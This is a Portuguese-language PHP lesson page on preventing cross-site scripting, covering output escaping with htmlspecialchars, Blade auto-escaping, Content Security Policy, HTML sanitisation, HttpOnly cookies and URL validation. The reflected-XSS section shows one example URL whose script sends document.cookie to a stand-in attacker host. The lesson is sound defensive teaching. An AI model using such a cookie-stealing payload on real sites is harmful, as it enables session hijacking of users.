0Pricing
PHP Academy · Aula

Prevenção de Cross-Site Scripting (XSS)

Escape a saída com htmlspecialchars e implemente uma política de segurança de conteúdo.

Prevenção de Cross-Site Scripting (XSS) é uma aula grátis de PHP Academy no CoddyKit. Esta é a aula 1 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de PHP Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de PHP Academy inclui 4 aulas no total.

O que é XSS?

Scripting entre sites (XSS) ocorre quando um invasor injeta JavaScript malicioso em páginas da Web visualizadas por outros usuários. O script é executado no navegador da vítima, com acesso à sessão, aos cookies e ao DOM dela.

XSS refletido

A carga maliciosa está na URL ou em um parâmetro de formulário e é refletida pelo servidor na resposta.

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

XSS armazenado

A carga é salva no banco de dados (comentário, campo de perfil) e exibida a todos os visitantes que visualizam essa página.

XSS baseado em DOM

A vulnerabilidade está inteiramente no JavaScript do lado do cliente, que insere dados não confiáveis no DOM de forma insegura usando innerHTML ou document.write.

htmlspecialchars()

Codifique a saída para converter caracteres especiais de HTML em entidades inofensivas. Sempre codifique os dados fornecidos pelo usuário antes de renderizá-los.

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Escape automático do Blade

A sintaxe {{ }} do Laravel Blade chama automaticamente htmlspecialchars. Use {!! !!} somente para HTML confiável e higienizado.

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

Política de segurança de conteúdo (CSP)

Um cabeçalho HTTP de CSP instrui os navegadores a executar scripts somente de fontes confiáveis, bloqueando scripts embutidos injetados mesmo que cheguem à página.

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

Higienização da entrada HTML

Se precisar permitir entrada HTML rica (por exemplo, de um editor WYSIWYG), higienize-a com uma biblioteca de lista de permissões, como o HTML Purifier ou o pacote Laravel mews/purifier.

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

Cabeçalho X-XSS-Protection

Adicione o cabeçalho X-XSS-Protection: 1; mode=block (para compatibilidade com navegadores antigos). Os navegadores modernos dependem da CSP.

Cookies somente HTTP

Definir a sinalização HttpOnly nos cookies de sessão impede que o JavaScript os leia, reduzindo o risco de roubo de sessão baseado em XSS mesmo quando um script é injetado.

Validação de URLs

Nunca insira URLs fornecidas pelo usuário em href ou src sem validação. Um URI javascript: pode executar XSS.

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

Resumo

Sempre codifique a saída com htmlspecialchars (ou {{ }} do Blade). Adicione uma política de segurança de conteúdo. Higienize a entrada HTML com uma biblioteca de lista de permissões. Use cookies HttpOnly.

Verificação rápida

Qual função do PHP converte caracteres especiais de HTML em entidades?

Perguntas Frequentes

A aula “Prevenção de Cross-Site Scripting (XSS)” é grátis?

Sim — o texto completo de “Prevenção de Cross-Site Scripting (XSS)” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de PHP Academy, atualize para CoddyKit PRO. O curso de PHP Academy inclui 4 aulas no total.

O que vou aprender em “Prevenção de Cross-Site Scripting (XSS)”?

Escape a saída com htmlspecialchars e implemente uma política de segurança de conteúdo. Você pratica PHP Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.

Preciso ter experiência prévia para começar PHP Academy?

Nenhuma experiência prévia é necessária. PHP Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 1 de 4.

Quanto tempo leva a aula “Prevenção de Cross-Site Scripting (XSS)”?

A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.

Posso escrever e executar código nesta aula de PHP Academy?

Sim. Cada aula de PHP Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.

Todas as aulas deste curso

  1. Prevenção de Cross-Site Scripting (XSS)
  2. Injeção de SQL e consultas parametrizadas
  3. Proteção contra CSRF
  4. Armazenamento seguro de senhas
← Voltar para PHP Academy